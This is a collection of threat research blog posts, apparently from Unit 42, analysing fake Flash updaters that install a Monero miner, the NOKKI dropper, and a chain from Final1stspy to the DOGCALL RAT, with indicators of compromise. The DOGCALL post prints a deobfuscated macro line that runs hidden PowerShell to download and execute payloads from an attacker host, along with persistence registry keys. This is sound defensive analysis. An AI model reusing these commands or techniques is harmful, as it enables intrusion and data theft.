Figure 2: Number of fake Flash updaters from this campaign.

Details

Based solely on AutoFocus data, I could not determine how potential victims were arriving at these URLs delivering fake Flash updates. However, I tested a sample on August 24th, 2018 with the SHA256 hash 485352a3985bce69a020dc49e970fde337279eb1986ea699ca6bec1f5a8068ac. This sample generated Adobe Flash installer popup windows and a Flash Player installation. An XMRig Cryptocurrency miner then worked in the background of my infected Windows host. Potential victims will receive warnings about running such downloaded files on their Windows computer. On a host in my test environment running Windows 7 Service Pack 1, I double-clicked one of the samples. Windows provided a typical warning about an unknown publisher that victims can easily click through on vulnerable Windows hosts.

Figure 3: A warning when running the fake Flash updater.

Figure 4: After running the program, it downloads an actual Flash Player from Adobe.

Figure 5: These windows are part of a real Flash Player installation.

Figure 6: The installation process finally asks you about Flash updates.

Figure 7: Page from Adobe thanking you for installing Flash Player.

Figure 8: Flash Player was updated to the latest version on my lab host.

Network traffic during the infection consisted mainly of the Flash update. But my infected lab host soon generated traffic associated with XMRig cryptocurrency mining over TCP port 14444. The Monero wallet used for this miner was 41ompKc8rx9eEXtAAm6RJTTm6jg8p6v3y33UqLMsUJS3gdUh739yf7ThiSVzsU4me7hbtVB61rf7EAVsJeRJKGQH4LFi3hR.

Figure 9: Infection traffic filtered in Wireshark, showing start of XMRig traffic.

Figure 10: XMRig traffic with the Monero wallet number.

Near the beginning of the traffic, my infected Windows host generated an HTTP POST request to osdsoft[.]com. This domain is associated with updaters or installers pushing cryptocurrency miners and other unwanted software. One such example from December 2017 named free-mod-menu-download-ps3.exe also shows osdsoft[.]com followed by XMRig traffic on TCP port 14444 like the example used in this blog. However, other malware samples reveal osdsoft[.]com is associated with other unwanted programs usually classified as malware.

Conclusion

This campaign uses legitimate activity to hide distribution of cryptocurrency miners and other unwanted programs. Organizations with decent web filtering and educated users have a much lower risk of infection by these fake updates.

Palo Alto Networks customers are further protected from this threat. Our threat prevention platform detects this type of malware. And AutoFocus users can track this activity by combining the CoinMiner tag with the appropriate search parameters.

Appendix A

113 malware examples for these fake Flash updaters found in AutoFocus. Information is available at https://github.com/pan-unit42/iocs/blob/master/fake_Flash_updates/2018-09-fake-Flash-updates-APPENDIX-A.txt

Appendix B

473 file names and associated URLs for fake Flash updates found in AutoFocus. Information is available at https://github.com/pan-unit42/iocs/blob/master/fake_Flash_updates/2018-09-fake-Flash-updates-APPENDIX-B.txt

Unit 42 Vulnerability Research October 2018 Disclosures – Adobe

Posted on October 5, 2018January 28, 2022 by Unit 42

As part of Unit 42’s ongoing threat research, we can now disclose that Palo Alto Networks Unit 42 researchers have discovered ten vulnerabilities addressed by the Adobe Product Security Incident Response Team (PSIRT) as part of their October 2018 APSB18-30 security update release.

CVE	Vulnerability Category	Impact	Maximum Severity Rating	Researcher(s)
CVE-2018-12769	Use After Free	Arbitrary Code Execution	Critical	Gal De Leon
CVE-2018-12832	Heap Overflow	Arbitrary Code Execution	Critical	Gal De Leon
CVE-2018-12836	Heap Overflow	Arbitrary Code Execution	Critical	Gal De Leon
CVE-2018-12846	Heap Overflow	Arbitrary Code Execution	Critical	Gal De Leon
CVE-2018-15920	Use After Free	Arbitrary Code Execution	Critical	Gal De Leon
CVE-2018-15924	Use After Free	Arbitrary Code Execution	Critical	Hui Gao
CVE-2018-15922	Out-of-bounds read	Information Disclosure	Important	Bo Qu and Zhibin Zhang
CVE-2018-15923	Out-of-bounds read	Information Disclosure	Important	Bo Qu and Zhibin Zhang
CVE-2018-15925	Out-of-bounds read	Information Disclosure	Important	Hui Gao
CVE-2018-15968	Out-of-bounds read	Information Disclosure	Important	Hui Gao

Palo Alto Networks customers who deploy our Next-Generation Security Platform are protected from zero-day vulnerabilities such as these. Weaponized exploits for these vulnerabilities are prevented by Traps multi-layered exploit prevention capabilities. Threat prevention capabilities such as application control, IPS, and WildFire provide our customers with comprehensive protection and automatic updates against previously unknown threats.

Palo Alto Networks is a regular contributor to vulnerability research in Microsoft, Adobe, Apple, Google Android and other ecosystems. By proactively identifying these vulnerabilities, developing protections for our customers, and sharing the information with the security community, we are removing weapons used by attackers to threaten users, and compromise enterprise, government, and service provider networks.

NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT

Posted on October 1, 2018August 17, 2026 by Josh Grunzweig

Recently, Unit 42 identified the NOKKI malware family that was used in attacks containing politically-motivated lures targeting Russian and Cambodian speaking individuals or organizations. As part of this research, an interesting tie was discovered to the threat actor group known as Reaper.

The Reaper group has been publicly attributed to North Korea by other security organizations, targeting organizations that align with the interests of this country. Such targeted organizations include the military and defense industry within South Korea, as well as a Middle Eastern organization that was doing business with North Korea. Part of this group’s modus operandi includes the use of a custom malware family called DOGCALL. DOGCALL is a remote access Trojan (RAT) that uses third-party hosting services to upload data and accept commands. At the time of publication, we observe this particular malware family in use by the Reaper threat actor group only.

This blog details the relationship found between the NOKKI and DOGCALL malware families, as well provides additional information about a previously unreported malware family used to deploy DOGCALL, which we have named Final1stspy based on a pdb string in the malware.

Tying the Knot

While researching the NOKKI malware threat, Unit 42 discovered the most recent cluster of attacks beginning in July 2018 leveraged malicious macros within a Microsoft Word document. These particular macros were not overly complex in nature, and simply would attempt to perform the following actions:

Download and run an executable malware payload.
Download and open a Microsoft Word decoy document.

To avoid detection, the macros employ simple obfuscation of interesting strings that ultimately just used base64 encoding. However, it used a somewhat unusual method where it would first convert the base64-encoded text into hex, and then convert that hex into a text string.

Figure 1 Malicious macro downloading remote payload and executing it (comments added by Unit 42 for clarity)

Figure 2 Malicious macro implementing unique deobfuscation scheme (comments added by malware author

By searching on this unique deobfuscation technique present in all samples delivering NOKKI, a single other file was identified. This file had the following properties:

MD5	e02024f38dfb6290ce0d693539a285a9
SHA1	d13fc918433c705b49db74c91f56ae6c0cb5cf8d
SHA256	66a0c294ee8f3507d723a376065798631906128ce79bd6dfd8f025eda6b75e51
Creator	Windows User
Created Date	2018-03-19 07:58:00 UTC
Last Modified Date	2018-06-16 14:19:00 UTC
Original Filename	World Cup predictions.doc

Based on the original filename, we can surmise this malware sample targeted individuals interested in the World Cup hosted in Russia in 2018. As we can see in the figure below, the unique deobfuscation routine used between the samples is identical, including the comments included by the author.

Figure 3 Similarities between NOKKI dropper and World Cup predictions dropper

While the deobfuscation routine was identical, the actual functionality of the macro differed slightly. The NOKKI dropper samples downloaded both a payload and a decoy document, but this World Cup predictions malware sample downloads and executes a remote VBScript file wrapped in HTML and appends text to the original Word document to provide the lure for the victim.

The lure in question includes the below text from a publicly available article written on ESPN in the UK:

“Peru and Denmark face off in the third match, and this time it doesn't seem as one sided. Four people go for a Peru victory, three for Denmark and three for the draw.

Last but not least, we get to see Croatia and Nigeria for the first time. Our Nigeria expert, Colin, reckons there will be plenty of goals and a 3-2 win for his side -- the only person to back the Super Eagles.

Check out how our pundits got on with their predictions for following games and remember to join the pundits' league in Match Predictor.

We've got our top talent on hand from England, the United States, Mexico, Brazil, Argentina, Colombia, Australia, and Africa -- many of whom will be based out in Russia for the tournament -- to analyze each and every one of the 64 matches.

We'll score our experts just as we do in the Match Predictor -- 10 points for correct result, with a bonus 20 points for getting the score line right too.”

Interestingly enough, two commented out lures were also included in this document. One simply contains the phrase of “I miss u.”, but the second lure contains text from a publicly available article online discussing a visit by the North Korean leader to Singapore, shown below.

“This aircraft seems to have conveyed a North Korean advance team including diplomats and security personnel.

The 747-400, which just landed in Singapore, was apparently used to fly Kim and his personal aides to the summit.

This would also be consistent with our previous reporting that North Korea had settled on such a plan.

The Jumbo Jet in question is quite special. B-2447 is used by the top rungs of the Chinese government, predominantly President Xi Jinping and his entourage, when traveling abroad.

It is capable of being specially outfitted with a VIP interior and has special interfaces for secure satellite communications among other modifications.

With this in mind, it wasn't surprising seeing it being used as 'Kim Force One' for this special mission.”

When the chain of execution completes on the World Cup predictions.doc file, a DOGCALL malware sample is executed on the victim machine.

The commented lure and payload used by the malware provides an interesting detail given that DOGCALL has been attributed to the threat actor group known as Reaper, which has been attributed to North Korea by other security organizations.

Continuing Execution of the Malware

After the initial execution of World Cup predictions.doc is run, it proceeds to download a VBScript file from the following URL:

http:// kmbr1.nitesbr1[.]org/UserFiles/File/image/home.html

This VBScript file yet again contains the exact same unique deobfuscation routine that was previously discussed. When this second stage VBScript file executes, it begins by writing the following data to %APPDATA%\Microsoft\mib.dat. This file will later be used by the Final1stspy malware family, which we discuss later in this post.

1111:rom*E8FEF0CDF6C1EBBA90794B2B

After this file is written, it will execute the following (deobfuscated):

objShell.Run "cmd.exe /k powershell.exe" & " " & "-windowstyle" & " " & "hidden" & " " & "-ExecutionPolicy Bypass" & " " & "$h='%APPDATA%/Microsoft/Windows/msvcrt32.dll'" & ";" & "$f='%APPDATA%/Microsoft/ieConv.exe'" & ";" & "$x='" & "http://" & "kmbr1.nitesbr1.org" & "/UserFiles/File/image/images/happy.jpg" & "';" & "$t='" & "http://" & "kmbr1.nitesbr1[.]org" & "/UserFiles/File/image/images/wwwtest.jpg" & "';" & "(" & "New-Object System.Net.WebClient" & ")" & ".DownloadFile($t,$f)" & ";" & "(" & "New-Object System.Net.WebClient" & ")" & ".DownloadFile($x,$h)" & ";" & "Start-Process $f" & ";" & "Stop-Process" & " " & "-processname" & " " & "cmd", 0

objShell.Run "cmd.exe /k powershell.exe" & " " & "-windowstyle" & " " & "hidden" & " " & "-ExecutionPolicy Bypass" & " " & "$h='%APPDATA%/Microsoft/Windows/msvcrt32.dll'" & ";" & "$f='%APPDATA%/Microsoft/ieConv.exe'" & ";" & "$x='" & "http://" & "kmbr1.nitesbr1.org" & "/UserFiles/File/image/images/happy.jpg" & "';" & "$t='" & "http://" & "kmbr1.nitesbr1[.]org" & "/UserFiles/File/image/images/wwwtest.jpg" & "';" & "(" & "New-Object System.Net.WebClient" & ")" & ".DownloadFile($t,$f)" & ";" & "(" & "New-Object System.Net.WebClient" & ")" & ".DownloadFile($x,$h)" & ";" & "Start-Process $f" & ";" & "Stop-Process" & " " & "-processname" & " " & "cmd", 0

This executed code simply downloads two files from http:// kmbr1.nitesbr1[.]org/UserFiles/File/images/happy.jpg and http:// kmbr1.nitesbr1[.]org/UserFiles/File/images/wwwtest.jpg and stores them in %APPDATA%/Microsoft/Windows/msvcrt32.dll and %APPDATA%/Microsoft/ieConv.exe, respectively. Finally, the VBScript file will execute the previously downloaded ieConv.exe file in a new process.

These two files are instances of a previously unreported dropper malware family that we are calling Final1stspy.

Overview of Final1stspy

As previously stated, the Final1stspy malware family is split between an executable file and a DLL. These files have the following properties (Note: the DLL information is provided after it is decrypted by the malware):

MD5	0f1d3ed85fee2acc23a8a26e0dc12e0f
SHA1	3d161de48d3f4da0aefff685253404c8b0111563
SHA256	fb94a5e30de7afd1d9072ccedd90a249374f687f16170e1986d6fd43c143fb3a
File Type	PE32 executable (GUI) Intel 80386, for MS Windows
Filename	wwwtest.jpg
Compile Timestamp	2018-06-01 15:52:41 UTC
PDB String	E:\Final Project(20180108)\Final1stspy\LoadDll\Release\LoadDll.pdb

MD5	a2fe5dcb08ae8b72e8bc98ddc0b918e7
SHA1	741dbdb20d1beeb8ff809291996c8b78585cb812
SHA256	0669c71740134323793429d10518576b42941f9eee0def6057ed9a4ba87a3a9a
File Type	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Filename	happy.jpg
Compile Timestamp	2018-06-17 17:04:15 UTC
PDB String	E:\Final Project(20180108)\Final1stspy\hadowexecute - Copy\Release\hadowexecute.pdb

As we can see, both samples were compiled within a couple weeks of each other. Additionally, the original Microsoft Word document used to deliver this malware was last modified roughly a day before the DLL was compiled.

Both the executable and DLL make use of a specific routine to obfuscate strings of importance. The following code, written in Python, decodes these strings:

import base64

data = "[Obfuscated String]"
dataDecoded = b64decode(data)
outVar = ""
for char in dataDecoded:
	outVar += chr(((ord(char) + 122) ^ 0x19) & 0xff)
print(outVar)

import base64

data = "[Obfuscated String]"

dataDecoded = b64decode(data)

outVar = ""

for char in dataDecoded:

outVar += chr(((ord(char) + 122) ^ 0x19) & 0xff)

print(outVar)

The Final1stspy malware begins by looking for the presence of the following file:

%APPDATA%\Microsoft\Windows\msvcrt64.dll

Should this file be present, the malware will load the DLLs and attempt to call the exported main_func function.

Otherwise, the malware will look for the following file:

%APPDATA%\Microsoft\Windows\msvcrt32.dll

In the event this file is present, the malware will decrypt this file by XORing it against 0x50, write it to the previously mentioned msvcrt64.dll path, and load the main_func function.

This DLL uses the same string obfuscation routine witnessed in the executable. It begins by collecting basic system information and ensuring persistence by setting the following registry key to point to %APPDATA%/Microsoft/ieConv.exe:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\rundll32

The Final1stspy malware family continues to read and parse the previously written mib.dat file. The data is parsed to eventually be used in subsequent HTTP GET requests, representing the Index, Account, and Group variables.

Original String	1111:rom*E8FEF0CDF6C1EBBA90794B2B
Index	1111
Account	E8FEF0CDF6C1EBBA90794B2B
Group	Rom

Final1stspy has the ability to read in a %APPDATA%/Microsoft/olevnc.ini file that has several variables stored within it, such as the user-agent, URL, port, and interval counts. In the event this file is not present, such as in our given situation, the malware will default to a hardcoded user-agent and URL. This particular sample communicates with http://kmbr1.nitesbr1[.]org/UserFiles/File/image/index.php with a user-agent of Host Process Update.

The malware proceeds to make a HTTP GET request to the URL, such as the following example:

Figure 4 HTTP request made by Final1stspy malware family

The following GET parameters are present in this request:

Variable	Data
MachineId	MD5 generated from data obtained from machine victim
InfoSo	Microsoft Windows version information and CPU architecture
Index	Data obtained from mib.dat
Account	Data obtained from mib.dat
Group	Data obtained from mib.dat
List	List of running processes (base64-encoded)

The malware expects to receive a payload that will subsequently be decrypted using a single-byte XOR key of 0x49. This payload will be loaded on the victim machine. After decryption, the following payload was identified:

MD5	05d43d417a8f50e7b23246643fc7e03d
SHA1	67c05b3937d94136eda4a60a2d5fb685abc776a1
SHA256	3fee068bf90ffbeb25549eb52be0456609b1decfe91cda1967eb068ef2c8918f
File Type	PE32 executable (GUI) Intel 80386, for MS Windows
Filename	girl.jpg
Compile Timestamp	2018-05-26 10:46:59 UTC

As we can see by the compile timestamp above, this file appears to have been compiled close to the Final1stspy executable. This payload has been identified as belonging to the DOGCALL malware family. It is able to perform the following actions on the victim:

Take screenshots
Keylogging
Capture microphone data
Collect victim information
Collect files of interest
Download and execute additional payloads

The malware uploads the stolen data to third-party cloud storage providers. The sample identified in the wild is configured to upload to pCloud, but functionality to upload to Dropbox, Box and Yandex Cloud is also included.

Conclusion

What originally began as research surrounding a new malware family named NOKKI that had code overlap and other ties to KONNI lead us to an interesting discovery tying the NOKKI malware family to the Reaper threat actor group. There are some curious aspects to this relationship, such as commented out North Korean-related lure information and DOGCALL malware payload. Additionally, we discovered yet another malware family that has not been previously publicly reported that we have named Final1stspy.

Unit 42 will continue to monitor this threat and report on any updates encountered in the future. Palo Alto Networks customers are protected against this threat in the following ways:

All malware encountered is appropriately classified as malicious by WildFire
TRAPs blocks this threat
AutoFocus customers may track this threat via the KONNI, NOKKI, Final1stspy, DOGCALL, and Reaper

Indicators of Compromise

World Cup predictions Sample

66a0c294ee8f3507d723a376065798631906128ce79bd6dfd8f025eda6b75e51

Final1stspy Samples

0669c71740134323793429d10518576b42941f9eee0def6057ed9a4ba87a3a9a

fb94a5e30de7afd1d9072ccedd90a249374f687f16170e1986d6fd43c143fb3a

DOGCALL Samples

3fee068bf90ffbeb25549eb52be0456609b1decfe91cda1967eb068ef2c8918f

Infrastructure

kmbr1.nitesbr1[.]org

New KONNI Malware attacking Eurasia and Southeast Asia

Posted on September 27, 2018November 2, 2018 by Josh Grunzweig

Introduction

Beginning in early 2018, Unit 42 observed a series of attacks using a previously unreported malware family, which we have named ‘NOKKI’. The malware in question has ties to a previously reported malware family named KONNI, however, after careful consideration, we believe enough differences are present to introduce a different malware family name. To reflect the close relationship with KONNI, we chose NOKKI, swapping KONNI’s Ns and Ks.

Because of code overlap found within both malware families, as well as infrastructure overlap, we believe the threat actors responsible for KONNI are very likely also responsible for NOKKI. Previous reports stated it was likely KONNI had been in use for over three years in multiple campaigns with a heavy interest in the Korean peninsula and surrounding areas. As of this writing, it is not certain if the KONNI or NOKKI operators are related to known adversary groups operating in the regions of interest, although there is evidence of a tenuous relationship with a group known as Reaper.

The latest activity leveraging the NOKKI payload likely targets politically-motivated victims in Eurasia and possibly Southeast Asia. These attacks leverage compromised legitimate infrastructure for both delivery and command and control (C2). These compromised servers are largely located within South Korea. In total, we observed two waves of attacks spanning from early 2018 to at least July 2018 which we were able to cluster via the specific network protocol used for C2. In addition, the decoy documents themselves wer both created and last modified by an author named zeus. The zeus username is a recurring artifact witnessed in all of the discussed attacks in this report.

January 2018 Attack

The earliest observed attack delivering NOKKI took place in January 2018. This attack leverages a Microsoft Windows executable file using a PDF icon in an attempt to trick the victim into launching the file. The malware sample contains the properties seen in Table 1:

MD5	48f031f8120554a5f47259666fd0ee02
SHA1	02ee6302436250e1cee1e75cf452a127b397be8d
SHA256	b8120d5c9c2c889b37aa9e37514a3b4964c6e41296be216b327cdccd2e908311
File Type	PE32 executable (GUI) Intel 80386, for MS Windows
PDB String	C:\Users\zeus\Documents\Visual Studio 2010\Projects\virus-dropper\Release\virus-dropper.pdb
Compile Timestamp	2018-01-26 00:14:31 UTC
First Encountered	2018-01-26 03:10:12 UTC

Table 1 January NOKKI properties

The malware is capable of collecting information on the victim machine, dropping, and executing a payload, as well as dropping and opening a decoy document.

The malware will collect data from the victim machine and write this information to LOCALAPPDATA%\MicroSoft Updatea\uplog.tmp. The following information is collected from the victim:

IP Address
Hostname
Username
Drive Information
Operating System Information
Installed Programs

This specific function shares significant code overlap with the KONNI tool first discovered by Talos.

The NOKKI payload is written to %LOCALAPPDATA%\MicroSoft Updatea\svServiceUpdate.exe prior being executed in a new process. Persistence is achieved by writing the file path to the HKCU\Software\Microsoft\Windows\CurrentVersion\Run\svstartup registry key.

After being executed and establishing persistence, NOKKI then connects to 101.129.1[.]104 for C2 communication via FTP. This IP does not have a domain name resolution; however, WHOis shows the IP assigned to China Central Television.

The decoy document is written to the same file path as the initial dropper, however, the extension is renamed to .pdf and becomes a legitimate document.

Based on the decoy document contents and language, the attack may target

Cambodian speakers with an interest in Cambodian political matters.

Figure 1 shows the decoy document used for this sample:

Figure 1 Decoy document for b8120d5c9c2c889b37aa9e37514a3b4964c6e41296be216b327cdccd2e908311

April 2018 Attack

In early April 2018, another attack was observed delivering the NOKKI payload. This attack leveraged a malicious executable with an .scr extension that had the original filename referring to the Russian Ministry of Foreign Affairs and its contents can be found online.

The file contains the properties as seen in Table 2:

MD5	42fbea771f3e0ff04ac0a1d09db2a45e
SHA1	2b6b6f24f58072a02f03fa04deaccce04b6bb43b
SHA256	9bf634ff0bc7c69ffceb75f9773c198944d907ba822c02c44c83e997b88eeabd
File Type	PE32 executable (GUI) Intel 80386, for MS Windows
PDB String	C:\Users\zeus\Documents\Visual Studio 2010\Projects\virus-dropper\Release\virus-dropper.pdb
Compile Timestamp	2018-04-04 21:06:26 UTC
First Encountered	2018-04-04 12:55:38 UTC

Table 2 April NOKKI Properties

This sample contained the same PDB string within it as sample from January 2018. Functionally, it was nearly identical in its behavior as the previous attack.

Unlike the previously witnessed attack that possibly targeted Cambodian language speakers with an interest in Cambodian political matters, the decoy document used in this attack is written Cyrillic and contains content related to Russian political matters.

Once the .scr file is executed, the NOKKI payload is installed onto the victim host which then connects to the IP resolving to a likely compromised but legitimate South Korean science and technology university website.

Figure 2 Decoy document for 9bf634ff0bc7c69ffceb75f9773c198944d907ba822c02c44c83e997b88eeabd

The content of the decoy document in Figure 2 is a publicly available. Google Translate roughly translates to the following:

About the meeting of the State Secretary - Deputy Minister of Foreign Affairs of Russia GB Karasin and the Director of the Institute of Strategic and Interregional Studies under the President of Uzbekistan, VI Norov

A second sample was discovered in April 2018, also written Cyrillic and containing content related to Russian political matters. This file had the following properties as seen in Table 3:

MD5	88587c43daff30cd3cc0c913a390e9df
SHA1	1cc8ceeef9a2ea4260fae03368a9d07d56e8331b
SHA256	07b90088ec02ef6757f6590a62e2a038ce769914139aff1a26b50399a31dcde9
File Type	PE32 executable (GUI) Intel 80386, for MS Windows
PDB String	C:\Users\zeus\Documents\Visual Studio 2010\Projects\virus-dropper\Release\virus-dropper.pdb
Compile Timestamp	2018-04-24 16:42:03 UTC
First Encountered	2018-04-24 06:34:35 UTC

Table 3 Second April NOKKI Properties

Again, we see consistency both in the embedded PDB string, as well as the functionality of the sample itself. This particular sample connects to an IP address to which a likely legitimate but compromised website of a research institute in South Korea resolves. This server has also likely been compromised and repurposed by the adversary.

May 2018 Attack

In May 2018, Unit 42 observed an attack using malware with a filename of briefinglist.exe being downloaded from the somewhat redacted following URL. Again, it is a likely compromised but legitimate South Korean website and the contents written Cyrillic and containing content related to Russian political matters.

http://mail.[removed].co[.]kr/de/de_includes/mail/yandex.ru/download.php

This sample has the following properties as seen in Table 4:

MD5	ae27e617f4197cd30cc09fe784453cd4
SHA1	dc739ca07585eab7394843bc4dba2faca8e5bfe0
SHA256	9b1a21d352ededd057ee3a965907126dd11d13474028a429d91e2349b1f00e10
File Type	PE32 executable (GUI) Intel 80386, for MS Windows
PDB String	C:\Users\zeus\Documents\Visual Studio 2010\Projects\virus-dropper\Release\virus-dropper.pdb
Compile Timestamp	2018-04-30 17:48:08 UTC

Table 4. Third May NOKKI Properties

This sample remains consistent with previous samples of NOKKI in terms of functionality and the embedded PDB string.

The payload communicates with 145.14.145[.]32, which resolves to files.000webhost[.]com. This same host was witnessed in previously reported KONNI malware activity.

July 2018 Attack

In July 2018, a South Korean engineering organization was identified as compromised and hosting malware and C2 infrastructure on their webserver since at least May 2018. Again, a file in Cyrillic with a name referring to the Russian political matters was being distributed from the http://mail.[removed].co[.]kr/common URL.

Unlike attacks leading up to this point, an executable file was not used as the initial malware file. Instead, this attack used a Microsoft Word document leveraging malicious macros to deliver the payload to the victim. Upon opening the file and enabling macros, the document downloaded both the payload and displayed a decoy document referencing political matters.

NOKKI Malware Family

From the samples discussed in this blog, we were able to identify two distinct variants of NOKKI. The earlier variant witnessed in attacks between January 2018 to May 2018 made use of FTP for C2 communications. Alternatively, the newer variant witnessed since June 2018 made use of HTTP. While both variants used different network protocols for communication, they both used the same file path structure on the remote C2 server.

The older variant begins by looking for the presence of the following file:

%TEMP%\ID56SD.tmp

If this file does not exist, the malware will generate a random string of 10 upper-case alphabetic characters. This string will ultimately be used as the victim’s identifier. It will also create the %TEMP%\stass file and write the value of a to it.

The malware continues to spawn a new thread that is responsible for network communication. Within an infinite loop, this malware will continue connecting to its C2 server via FTP.

After successful connection to the C2, it will write the previously written stass file to the server’s public_html folder. It will also upload the previously created uplog.tmp file to the remote server. After the upload is completed, NOKKI will then delete the local copy on the infected host. Finally, NOKKI will check for the presence of the [id]-down file on the C2 server, where [id] is the 10 character alphabetic string created prior. Should this file exist, it will be downloaded and written to %TEMP%\svchostav.exe prior to being executed in a new process. After it is executed, the malware deletes the file on the C2 server. The malware will then sleep for 15 minutes between loops.

The newer variant operates in a slightly different manner.

In this case, NOKKI begins by extracting and dropping an embedded DLL to the %LOCALAPPDATA%\MicroSoft UpdateServices\Services.dll path. One of two DLLs may be dropped, either a 32-bit or a 64-bit compiled options. The appropriate DLL will be dropped based on the victim host’s CPU architecture.

While these DLLs are different architectures, they perform the same functions. After the DLL is written, the malware loads it via the following command-line:

rundll32.exe [%LOCALAPPDATA%\MicroSoft UpdateServices\Services.dll] install

Finally, the malware will write the following registry key to ensure persistence on the victim host:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\qivService - C:\\Windows\\System32\\rundll32.exe "[%LOCALAPPDATA%\MicroSoft UpdateServices\Services.dll]" install

The payload’s install function makes a call to SetWindowsHookEx with a thread ID of 0, resulting in the function being injected into every GUI process running on the victim machine. This particular process is referenced in this forum post.

The DllMain function of this payload begins by comparing the process executable name, seeking out the explorer.exe process. In the event it is not loaded in the context of this process, nothing occurs. If the malware is running within explorer.exe, it will load its own HTTPStart exported function, which performs the malicious actions.

It begins by writing the ID56SD.tmp file in its current working directory (CWD). A unique randomly chosen 10-byte alphabetic string is written to this file, which will be used as an identifier for the victim. A file named stass is also written in the CWD, with a single byte of a.

The payload proceeds to enter an infinite loop, with a 15 minute delay between iterations. The loop begins by reading in the previously written stass file and uploading it to its embedded C2 server via HTTP.

The data is encoded with base64 and uploaded via a POST parameter of data. Additionally, the victim’s identifier and the current timestamp is uploaded via a POST parameter of subject.

Figure 3 HTTP request made by NOKKI payload

After this upload request is made, the malware looks for the presence of a file named uplog.tmp. In the event this file exists, it is uploaded via the same method as previously noted. After this file is uploaded via HTTP, the local file is deleted. While this file is not present originally in this malware sample, in other NOKKI variants, it has been observed containing the victim’s system information.

The malware then looks for the presence of the upfile.tmp file. Again, if this file exists, it is uploaded to the remote server and the local file is deleted.

Finally, the malware will look for the presence of the following remote files, where [id] is the victim identifier:

http://mail.[removed].co[.]kr/./pds/down
http://mail.[removed].co[.]kr/./pds/data/[id]-down

If the down file is available, it is written to %TEMP%\wirbiry2jsq3454.exe and executed. If the [id]-down file is available, it is written to %TEMP%\weewyesqsf4.exe and executed.

During execution, a remote module was downloaded from the down URL:

This module is responsible for collecting the following information and writing it to the %LOCALAPPDATA%\MicroSoft UpdateServices\uplog.tmp file:

IP Address
Hostname
Username
Drive Information
Operating System Information
Installed Programs

This module acted in an identical way as the information collection function witnessed in the older variant of NOKKI.

Comparison to KONNI

The NOKKI malware family differs from KONNI in a number of ways. Unlike KONNI, NOKKI is modular in nature, with multiple steps taken between the initial infection and the final payload(s) being delivered. Early versions of NOKKI observed between January 2018 to May 2018 used a remote FTP server to ultimately accept commands and download additional modules. While newer versions of NOKKI starting in June 2018 use HTTP, the communication is quite different from the previously reported KONNI malware, both in the URI structure and data being sent. In addition, while the KONNI samples used C2 infrastructure set up specifically by the adversary, NOKKI mostly leveraged what appeared to be likely compromised legitimate servers for their infrastructure.

NOKKI URIs	Previously Reported KONNI URIs
/./pds/data/upload.php	/login.php
/./pds/data/[victim_id]-down	/upload.php
/./pds/down	/download.php
/common/exe	/weget/uploadtm.php
/common/doc	/weget/upload.php

Table 5. URI differences between NOKKI and KONNI

While we consider these malware families to be separate, we identified some similarities with KONNI. In addition to overlapping infrastructure between KONNI and NOKKI, a NOKKI module used to collect victim information was observed exhibiting very similar characteristics to the KONNI victim information collection function as seen in Figure 4. This same function was also observed in early instances of the dropper used to deploy NOKKI between January 2018 and May 2018.

Figure 4 Similarities between KONNI malware family and NOKKI module

Based on the similarities witnessed, we think it is highly probable there is some amount of code sharing and likely a single adversary group involved.

Conclusion

The adversary operating the NOKKI malware family appears to have begun using NOKKI in January 2018 and has continued their activity through 2018. At this time, we can only speculate who these series of attacks may be attributed to based on tenuous relationships. However, there is significant evidence from our attack telemetry and victimology indicating the operator has a strong interest in specific regions of the world such as Eurasia, the Korean Peninsula, and Southeast Asia. The general tactics used to deliver NOKKI are similar in nature to the actors behind a previously identified malware, KONNI. Additionally, there are overlaps both in code and some infrastructure with previously reported KONNI activity. Unlike KONNI, however, this particular malware family makes use of compromised servers for both hosting and C2 operations.

The NOKKI malware itself has been updated in the short period of time it has been observed, moving from FTP to HTTP for C2 operations. The malware is modular in nature, and based on analysis of the information gathering module, it is highly likely the NOKKI operators are the same as the KONNI operators. Unit 42 will continue to monitor this malware family and the threat actor responsible.

Palo Alto Networks customers are protected by the following:

All known samples of NOKKI maintain a malware verdict in WildFire
AutoFocus customers may learn more via the NOKKI tag

Appendix

Indicators of Compromise

July 2018 Attack

Indicator Type	Indicator
Hash	d92c94423ec3d01ad584a74a38a2e817449648a4da3f12d345c611edc5c4cdbd
Hash	dce53e59b0c48e269dadc766a78667a14f11b72c49f57d95abde62c84ac8d7ae
Hash	0657f788e89a437a1e6fe2630c19436736aa55dcf255540698864a7576192611
Hash	d211815177ce4b9fd2d3c258d2fc6282c23b8458d71f8f6f0df06a9dda89c12f
Process	rundll32.exe [%LOCALAPPDATA%\MicroSoft UpdateServices\Services.dll] install
Registry Key	HKCU\Software\Microsoft\Windows\CurrentVersion\Run\qivService
File	ID56SD.tmp
File	stass
File	%LOCALAPPDATA%\MicroSoft UpdateServices\uplog.tmp
File	%TEMP%\wirbiry2jsq3454.exe
File	%TEMP%\weewyesqsf4.exe
URL	hxxp://mail.[removed].co[.]kr/./pds/data/upload.php
URL	hxxp://mail.[removed].co[.]kr/./pds/down
URL	hxxp://mail.[removed].co[.]kr/./pds/data/[id]-down
URL	hxxp://mail.[removed].co[.]kr/common
URL	hxxp://mail.[removed].co[.]kr/common/exe
URL	hxxp://mail.[removed].co[.]kr/common/doc

June 2018 Attack

Indicator Type	Indicator
Hash	5137f6a59c2c7a54f1a5fc9a9650972b17d52dd0e203f5abefedf5c593c41ff0
Hash	fd673703c502be907919a4ff2922b7b969d96d206abc572a5cb83e69ab32ca18
Hash	4e84f97bb61c2d373a574676fa374131460839ecc7b53064f558ce7ce55528ad
Hash	fd673703c502be907919a4ff2922b7b969d96d206abc572a5cb83e69ab32ca18
Hash	74ddd56b1e33aa3752f143a77e5802a5803fd2c222f2cca77bfa5c740dfc8f5e
Process	rundll32.exe [%LOCALAPPDATA%\MicroSoft UpdateServices\Services.dll] install
Registry Key	HKCU\Software\Microsoft\Windows\CurrentVersion\Run\qivService
File	ID56SD.tmp
File	stass
File	uplog.tmp
File	%TEMP%\wirbiry2jsq3454.exe
File	%TEMP%\weewyesqsf4.exe
URL	hxxp://mail.[removed].co[.]kr/./pds/data/upload.php
URL	hxxp://mail.[removed].co[.]kr/./pds/down
URL	hxxp://mail.[removed].co[.]kr/./pds/data/[id]-down
URL	hxxp://mail.[removed].co[.]kr/common

May 2018 Attack

Indicator Type	Indicator
